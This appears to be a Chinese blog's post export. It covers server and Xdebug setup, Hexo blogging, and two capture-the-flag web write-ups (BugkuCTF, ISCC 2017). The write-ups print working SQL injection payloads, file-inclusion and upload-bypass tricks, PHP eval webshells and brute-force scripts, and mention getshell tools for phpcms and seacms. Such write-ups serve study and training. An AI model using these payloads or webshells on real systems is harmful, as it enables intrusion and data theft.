安装Nginx根据官网的教程,在/etc/apt/sources.list文件中,添加以下两行,其中codename替换为对应系统版本的Codename12deb http://nginx.org/packages/ubuntu/ codename nginxdeb-src http://nginx.org/packages/ubuntu/ codename nginx 12sudo apt-get updatesudo apt-get install nginx 安装完后可用nginx -t来查找nginx配置文件所在路径。开启nginx服务:1sudo systemctl start nginx 安装php1sudo apt-get install php7.0 php7.0-fpm TCP配置方式建立nginx和php7.0-fpm的通信。 /etc/nginx/conf.d/default.conf部分:default.conf12345678location ~ \\.php$ { root /var/www; fastcgi_pass 127.0.0.1:9000; #fastcgi_pass unix:/var/run/php/php7.0-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } /etc/php/7.0/fpm/pool.d/www.conf中php-fpm配置监听:www.conf12;listen = /run/php/php7.0-fpm.socklisten = 127.0.0.1:9000 安装MySQL5.71sudo apt-get install mysql-server-5.7 设置用户名密码后,启动12sudo systemctl start mysqlmysql -h 127.0.0.1 -uroot -proot","tags":[{"name":"nothing","slug":"nothing","permalink":"K4ngx.github.io/tags/nothing/"}]},{"title":"利用Xdebug调试PHP程序(PhpStorm/Sublime3)","date":"2017-10-03T15:44:36.000Z","path":"2017/10/03/Xdebug/","text":"记录下分别在PhpStorm和sublime3中,用Xdebug来调试PHP程序的配置方法。 PhpStorm+chrome+VMware+docker+Xdebug扩展在虚拟机中设置共享文件夹虚拟机>设置>选项>共享文件夹>启用>添加路径 注意:需要在虚拟机关闭的情况下启用和设置共享文件夹目录 即可在虚拟机的/mnt/hgfs目录下看到目标文件夹。把要调试的代码或文件夹放入主机的共享文件夹内。 docker中pull镜像,配置环境docker我是装在虚拟机里的:) 123456789101112$ docker pull php:5-apache$ docker pull mysql:5.5$ docker run -d --name cmsmysql \\ -v /home/ubuntu/workspace/datadir:/var/lib/mysql \\ -e MYSQL_ROOT_PASSWORD=root \\ mysql:5.5$ docker run -d --name cmsphp5.6 \\ -p 80:80 -p 9000:9000 \\ -v /mnt/hgfs/Workspace/PHP:/var/www/html \\ php:5-apache 执行docker exec -it cmsphp5.6 bash进入php容器中安装Xdebug扩展。 123$ pecl install xdebug-2.5.0$ docker-php-ext-enable xdebug$ apache2ctl restart 在cmsphp容器中添加/usr/local/etc/php/php.ini配置文件,之后重启Apache php.ini1234xdebug.remote_enable=1xdebug.remote_host=0.0.0.0xdebug.remote_connect_back=1xdebug.idekey=PHPSTORM 在chrome中下载Xdebug helper下载地址:Chrome应用商店Xdebug helper 调试时需要开启小瓢虫为绿色。 PhpStorm设置在Settings的Debug配置中,保证Debug port为9000,调试时需打开小电话,保持listening状态。 痛点虚拟机设置NAT模式时,访问不了主机的9000端口,无法进入调试。将网络配置还原成默认设置后,改成桥接,自动获取IP就成功了。 BTW: PhpStorm的注册码可在此获得 注册码领取入口 Sublime3+phpstudy+chromephpstudy下载下载phpstudy,phpstudy里自带了Xdebug的扩展,可以在其他选项菜单->PHP扩展及设置->PHP扩展里把”Xdebug”√上。在phpinfo中是否出现了Xdebug。 在sublime3中安装Xdebug Client看了网上的一些教程,看到某位sublime2使用者安装的是Xdebug而不是Xdebug Client,而我在sublime3的Install Package中只看到了Xdebug Client,于是就安装了(BTW:据说两者都安装会有冲突)。使用Ctrl+Alt+P键入Install Package,搜索Xdebug并安装。 chrome中配置Xdebug helper在IDE Key中选择other,然后输入sublime.xdebug,最后save。 使用 在chrome中打开要调试的地址,如localhost/test.php,然后启用Xdebug helper,会变绿 :) 在sublime里下断点,断点的快捷键为Ctrl+F8,其他的快捷键可以在Installed Packages\\Xdebug Client.sublime-package中的Default.sublime-keymap查看。 Ctrl+Shift+F9开启调试,在chrome中F5刷新。 在sublime中可看到变量信息等等。Ctrl+Shift+f5运行到下一个断点;Ctrl+Shift+f6单步;alt+shift+1退出debug。 Sublime配置Xdebug参考文档使用sublime2配合phpstudy+xdebug+chrome调试php Windows 下 Sublime Text 3 使用 Xdebug (配合Xdebug helper 插件) sublime 修改Xdebug插件快捷键","tags":[{"name":"nothing","slug":"nothing","permalink":"K4ngx.github.io/tags/nothing/"}]},{"title":"bugkuctf_web_writeup","date":"2017-09-30T06:53:00.000Z","path":"2017/09/30/bugkuctf-web-writeup/","text":"写完这个WP简直快吐。 Web2F12即可发现flag在注释中 文件上传测试这题对Content-Type和filename做了检查。上传一个jpg文件,burpsuite抓包将文件扩展改为php即可拿到flag。 计算题在Resource中找到code.js文件,发现flag。 Web3禁止弹窗后F12或在url开头加view-source:查看源代码,在结尾可发现一段HTML10进制的编码,解码后得到flag。 sql注入得知网页为gbk编码,采用宽字符注入。payload: 1/?id=1%aa%27union%20select%201,string%20from%20`key`%20where%20id=1%20%23 SQL注入1XSS过滤中过滤掉了尖括号,因此可用尖括号来绕过sql过滤。payload: 1/?id=1%20u<>nion%20s<>elect%201,hash%20f<>rom%20`key`%20where%20id=1%23 你必须让他停下查看源代码,多刷新几次可找到flag 本地包含payload: 1/?hello=1);show_source(%27flag.php%27 变量1通过超全局变量GLOBALS,即可拿到flag。 Web4查看源码,得到eval()函数里的代码为 1234567891011function checkSubmit(){ var a=document.getElementById(\"password\"); if(\"undefined\"!=typeof a){ if(\"67d709b2b54aa2aa648cf6e87a7114f1\"==a.value) return!0; alert(\"Error\"); a.focus(); return!1; }}document.getElementById(\"levelQuest\").onsubmit=checkSubmit; 输入67d709b2b54aa2aa648cf6e87a7114f1即可拿到flag。 Web5jsfuck编码,直接丢console回车即可拿到flag。 flag在index中利用php://filter协议可得flag。payload:1?file=php://filter/read=convert.base64-encode/resource=index.php 12345678910111213141516<!--index.php--><html> <title>Bugku-ctf</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a href=\"./index.php?file=show.php\">click me? no</a>';} $file=$_GET['file']; if(strstr($file,\"../\")||stristr($file, \"tp\")||stristr($file,\"input\")||stristr($file,\"data\")){ echo \"Oh no!\"; exit(); } include($file); //flag:flag{edulcni_elif_lacol_si_siht}?></html> phpcmsV9利用的是phpcmsV9.6.0的任意文件上传漏洞,下载phpcmsV9.6.0 getshell 工具上传小马,用菜刀连接,即可在Web根目录拿到flag.txt 海洋CMS海洋CMS 6.45代码执行漏洞。参考:seacms最新版前台getshell 访问flag32#.txt即可拿到flag。 输入密码查看flagburpsuite五位数字爆破即可。密码为13579。 前女友点击“链接”可看到源码,利用php弱类型和strcmp漏洞。传入?v1=240610708&v2=QNKCDZO&v3[]=即可拿到flag。参考:php检查相等时的漏洞。 成绩单simple sqli。很常规,爆库爆表爆字段。根据id=2和id=2' and 1=1#猜测sql语句为 1select * from foo where id='$_GET['id']' 测试id=-2' union select 1,2,3,database()#成功显示库名为skctf_flag。 id=-2' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf_flag' limit x,1#(x=0,1,2...)得到表名为fl4g和sc。 id=-2' union select 1,2,3,COLUMN_NAME from INFORMATION_SCHEMA.Columns where table_name='fl4g' and table_schema='skctf_flag'#得到字段名为skctf_flag。 id=-2' union select 1,2,3,skctf_flag from fl4g#得到flag。 Web6注释让我们以margin为键名post提交我们所发现的东西。response header有flag,base64解码2次然后POST。保持session,将response中新的flag再经过base64解码2次再POST提交,得到flag。 123456789101112131415161718192021222324252627#python3.6from urllib import request, parseimport http.cookiejarimport base64str = \"TXpNeU9USXg=\" #经过一次base64解码后的flagurl = r\"http://120.24.86.145:8002/web6/\"str = int(base64.b64decode(base64.b64decode(str)).decode('ascii'))cookie = http.cookiejar.CookieJar()handler = request.HTTPCookieProcessor(cookie)opener = request.build_opener(handler)data = {'margin':str}pdata = parse.urlencode(data)binary_data = pdata.encode('ascii')con = opener.open(url,binary_data)str = con.getheader('flag')[44:56]str = int(base64.b64decode(base64.b64decode(str)).decode('ascii'))print(base64.b64decode(con.getheader('flag')).decode('utf-8'))print(con.read().decode('utf-8'))data = {'margin':str}pdata = parse.urlencode(data)binary_data = pdata.encode('ascii')con = opener.open(url,binary_data)print(con.read().decode('utf-8')) cookies欺骗??将url中的filename改成aW5kZXgucGhw(index.php的base64编码)。编程遍历line参数(line=0,1,2…)得到index.php源码 1234import requestsfor i in range(20): r = requests.get(\"http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw\"%i) print(r.content.decode('utf8')) 12345678910111213141516171819202122//index.php<?phperror_reporting(0);$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:\"\");$line=isset($_GET['line'])?intval($_GET['line']):0;if($file=='') header(\"location:index.php?line=&filename=a2V5cy50eHQ=\");$file_list = array( '0' =>'keys.txt', '1' =>'index.php',);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php';}if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line];}?> 添加cookie:margin=margin,打开/web11/index.php?line=0&filename=a2V5cy5waHA得到flag。 XSS尖括号被过滤。payload: /?id=\\u003cimg%20src=%23%20onerror=alert(_key_)\\u003e never give up访问/test/1p.html抓包,拿到部分源码: 12345678910111213141516171819202122232425";if(!$_GET['id']){ header('Location: hello.php?id=1'); exit();}$id=$_GET['id'];$a=$_GET['a'];$b=$_GET['b'];if(stripos($a,'.')){ echo 'no no no no no no no'; return ;}$data = @file_get_contents($a,'r');if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){ require("f4l2a3g.txt");}else{ print "never never never give up !!!";}?> 直接访问/test/f4l2a3g.txt可拿到flag。(BTW:感觉是出题人疏忽了,正解应该是用php://伪协议和00截断) welcome to bugkuctf利用php伪协议可拿到index.php等等的源码 1234567891011121314151617181920212223242526272829303132333435//index.php<?php $txt = $_GET[\"txt\"]; $file = $_GET[\"file\"]; $password = $_GET[\"password\"]; if(isset($txt)&&(file_get_contents($txt,'r')===\"welcome to the bugkuctf\")){ echo \"hello friend!<br>\"; if(preg_match(\"/flag/\",$file)){ echo \"不能现在就给你flag哦\"; exit(); }else{ //解题关键 include($file); $password = unserialize($password); echo $password; } }else{ echo \"you are not the number of bugku ! \"; } ?> <!-- $user = $_GET[\"txt\"]; $file = $_GET[\"file\"]; $pass = $_GET[\"password\"]; if(isset($user)&&(file_get_contents($user,'r')===\"welcome to the bugkuctf\")){ echo \"hello admin!<br>\"; include($file); //hint.php }else{ echo \"you are not admin ! \"; } --> 1234567891011121314//hint.php<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo \"<br>\"; return (\"good\"); } } } ?> 因此,我们需要序列化一个Flag对象,且其变量file为flag.php。 login1注册一个admin+n个空格的帐号来覆盖管理员帐号。再用新密码登录admin即可拿到flag。 过狗一句话index.php便是提示中的assert一句话。找到flag.txt访问即可。 各种绕过哟sha1在处理数组的时候会warning并返回NULL。 Web8变量覆盖漏洞。访问/web8/?ac=test&fn=php://input并POST数据test即可get flag。 字符?正则?payload: /?id=keykey1111key:/1/1keya.目测最短23位。 考细心访问robots.txt得到/resusl.php。在/resusl.php提交GET参数x=admin即可拿到flag 求getshell经过大佬们的提示,上传一个jpg,尝试把Content-Type的multipart/form-data;第一个字母m改成大写M。然后把文件名改成php5即可绕过。 flag.php提示hint,尝试了hint.php和hint.txt之后才知道要GET传参数hint得到源码。脑洞很大。 123456789101112131415161718192021222324252627282930313233343536//index.php<?php error_reporting(0); include_once(\"flag.php\"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === \"$KEY\") { echo \"$flag\"; } else { ?> <html> <head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"> <title>Login</title> <link rel=\"stylesheet\" href=\"admin.css\" type=\"text/css\"> </head> <body> <br> <div class=\"container\" align=\"center\"> <form method=\"POST\" action=\"#\"> <p><input name=\"user\" type=\"text\" placeholder=\"Username\"></p> <p><input name=\"password\" type=\"password\" placeholder=\"Password\"></p> <p><input value=\"Login\" type=\"button\"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?> 然而这题有一个坑点,变量$KEY是定义在代码的末尾的。因此在前面将反序列化之后的$cookie与$KEY相比较时,$KEY的值是为NULL的。所以我们要传入的$cookie应该是serialize(""); 因此,添加Cookie: ISecer=s:0:"";即可拿到flag。 文件包含2本来以为一发php://filter入魂。没想到”NAIVE”了。F12提示upload.php。上传一个带php一句话的jpg,利用file参数本地包含,发现php标签被过滤成了下划线。尝试 1<script language=\"php\">@eval($_POST['a']);var_dump(1);</script> 成功显示int(1),菜刀连接即可看到flag文件。 wordpress查看SUN的文章,可发现一个生日。构造字典爆破得用户名为SUN,密码为sun19980321。登录后有一篇私人日志,大佬提示之后才知道是数据库的帐号密码。。。 wp wzTrzYRdbrbyjAx BTW.由于题目环境被破坏,无法复现截图:( 访问/phpmyadmin。登录之后可看到flag表,拿到flag。","tags":[{"name":"writeup","slug":"writeup","permalink":"K4ngx.github.io/tags/writeup/"}]},{"title":"ISCC_2017_Web_writeup","date":"2017-05-25T03:55:54.000Z","path":"2017/05/25/ISCC-2017-Web-writeup/","text":"Web签到题,来和我换flag啊!POST提交三个f1ag,可在response中拿到flag。 WelcomeToMySQLF12发现数据库信息在../base.php。上传php5 123<?phpshow_source(\"../base.php\");?> 访问upload/xxx.php可拿到base.php源码。再上传一个php5连接数据库可拿到flag。 123456<?php$conn = mysql_connect(\"localhost\", \"iscc2017\", \"iscc2017\");mysql_select_db(\"flag\",$conn);$result = mysql_query(\"select * from flag\");var_dump(mysql_fetch_row($result));?> where is your flag访问flag.php发现hint:thisisflag。可知在表flag中有字段名为thisisflag。尝试GET请求id=1,页面返回正常;请求id=2-1,返回空白页面,可猜测,sql语句为 1SELECT * FROM foobar where id='$_GET['id']' 测试可知为宽字节注入,且需要转换编码为gbk: 我们一起来日站尝试访问robots.txt,发现Disallow: /21232f297a57a5a743894a0e4a801fc3/,提示keep finding admin page,访问/admin.php进入后台登录界面。简单注入:username为admin,passwd为'or 1#拿到flag。 自相矛盾F12拿到部分源码 123456789101112131415161718192021222324252627282930313233$v1=0;$v2=0;$v3=0;$a=(array)json_decode(@$_GET['iscc']); if(is_array($a)){ is_numeric(@$a[\"bar1\"])?die(\"nope\"):NULL; if(@$a[\"bar1\"]){ ($a[\"bar1\"]>2016)?$v1=1:NULL; } if(is_array(@$a[\"bar2\"])){ if(count($a[\"bar2\"])!==5 OR !is_array($a[\"bar2\"][0])) die(\"nope\"); $pos = array_search(\"nudt\", $a[\"bar2\"]); $pos===false?die(\"nope\"):NULL; foreach($a[\"bar2\"] as $key=>$val){ $val===\"nudt\"?die(\"nope\"):NULL; } $v2=1; } }$c=@$_GET['cat'];$d=@$_GET['dog'];if(@$c[1]){ if(!strcmp($c[1],$d) && $c[1]!==$d){ eregi(\"3|1|c\",$d.$c[0])?die(\"nope\"):NULL; strpos(($c[0].$d), \"isccctf2017\")?$v3=1:NULL; } }if($v1 && $v2 && $v3){ echo $flag;} 其中$v2中的array_search()绕过参考了某个大佬的博客:array_search()绕过。$v3中正则的绕过采用%00截断。 Simple sqli验证码要求md5加密后前三位等于一个随机字符串,于是可以写个脚本爆破出符合要求的验证码: 123456789#python3.6import hashlibsub = \"随机字符串\"for i in range(100000): if hashlib.md5(str(i).encode('utf8')).hexdigest().startswith(sub): print(i) break 测试发现,当Username为admin和' or 1#时显示password error. 输入不存在的Username或者sql语法错误时显示username error. 输入'union select 1亦显示password error. 可以猜测sql语句为: 1SELECT password FROM foobar WHERE username='' 然后将查询结果与用户输入的md5加密后的password进行比较。 于是可以令Username=' union select md5(1)#,Password=1,即可拿到Flag。 I have a jpg,i upload a txt.题目过滤了php标签和script标签。当传入$do=rename时,调用了一个KaIsA()函数,测试后发现大写字母为ascii+6,小写为ascii-6,函数代码如下: 12345678910111213141516171819#python3.6a = 'base64加密后的字符串'b = ''for i in a: if i.isupper(): i = ord(i)+6 if i>90: i = chr(i-26) else: i = chr(i) elif i.islower(): i = ord(i)-6 if i<97: i = chr(i+26) else: i = chr(i) b += i print(b) 观察源码发现,rename过程中新生成的随机文件名的txt是唯一的,因此可以尝试上传两个使用php短标签的文件,拼成一个txt文件,再更改后缀为php。 上传的两个文件分别为: 123< //1.txt? eval($_GET['a']); ?> //2.txt 经过两次的rename过程,可以得到一个随机文件名的php,访问upload/xxxxxx.php会跳转到flaggalf.php,抓包可得flag","tags":[{"name":"writeup","slug":"writeup","permalink":"K4ngx.github.io/tags/writeup/"}]},{"title":"用Hexo和Github搭建blog","date":"2017-05-14T15:14:33.000Z","path":"2017/05/14/hexo/","text":"这两天花了点时间在Ubuntu16.04的服务器上用Hexo的框架搭了个blog。总的来说,搭建的速度还是非常快的。然而过程中还是遇到了不少的坑,在此记录一下。 Git 、Node.js和Hexo的安装Git的安装不用多说,一条命令就OK。 1$ sudo apt-get install git-core 而Node.js要使用nvm来安装,Hexo官方教程给了两条命令。 12$ curl https://raw.github.com/creationix/nvm/master/install.sh | sh$ wget -qO- https://raw.github.com/creationix/nvm/master/install.sh | sh 第一条命令尝试了几次发现都失败了,而第二条命令成功了,然而这不是重点。重点是在nvm安装成功之后在输入nvm命令时却显示 1zsh: command not found: nvm 在多次搜索后,发现要在~/.zshrc(bash是~/.bashrc)里添上 1[ -s $HOME/.nvm/nvm.sh ] && . $HOME/.nvm/nvm.sh 然后就可以安装Node.js了 1$ nvm install stable Git和Node.js安装完后,就可以安装Hexo了 1$ npm install -g hexo-cli hexo d命令报错在使用hexo d命令时,可能会遇到ERROR Deployer not found: git的错误,输入以下代码即可 1$ npm install hexo-deployer-git --save 域名的绑定由于是利用github来搭建的静态网站,刚搭建好博客时,需要通过github的域名来访问。然而,当然是用自己的域名来访问更爽一点。 域名提供商首先要在域名提供商(我这里是腾讯云)那边添加一条CNAME记录,将CNAME指向your_username.github.io 在博客里添加CNAME文件进入博客目录,在source文件夹下创建一个名为CNAME的文件,输入你的域名: 如 blog.cnt2x.cn 坑!Github的Custom domain设置这个地方折磨了我挺久,上面两个步骤设置完了之后,我访问我的博客永远都是404,找了好久的问题。后来在某篇文章中发现,在Github里仓库的setting,在下方有一个Custom domain的设置,输入你要绑定的域名,然后save,就可以进入博客了。","tags":[{"name":"nothing","slug":"nothing","permalink":"K4ngx.github.io/tags/nothing/"}]}]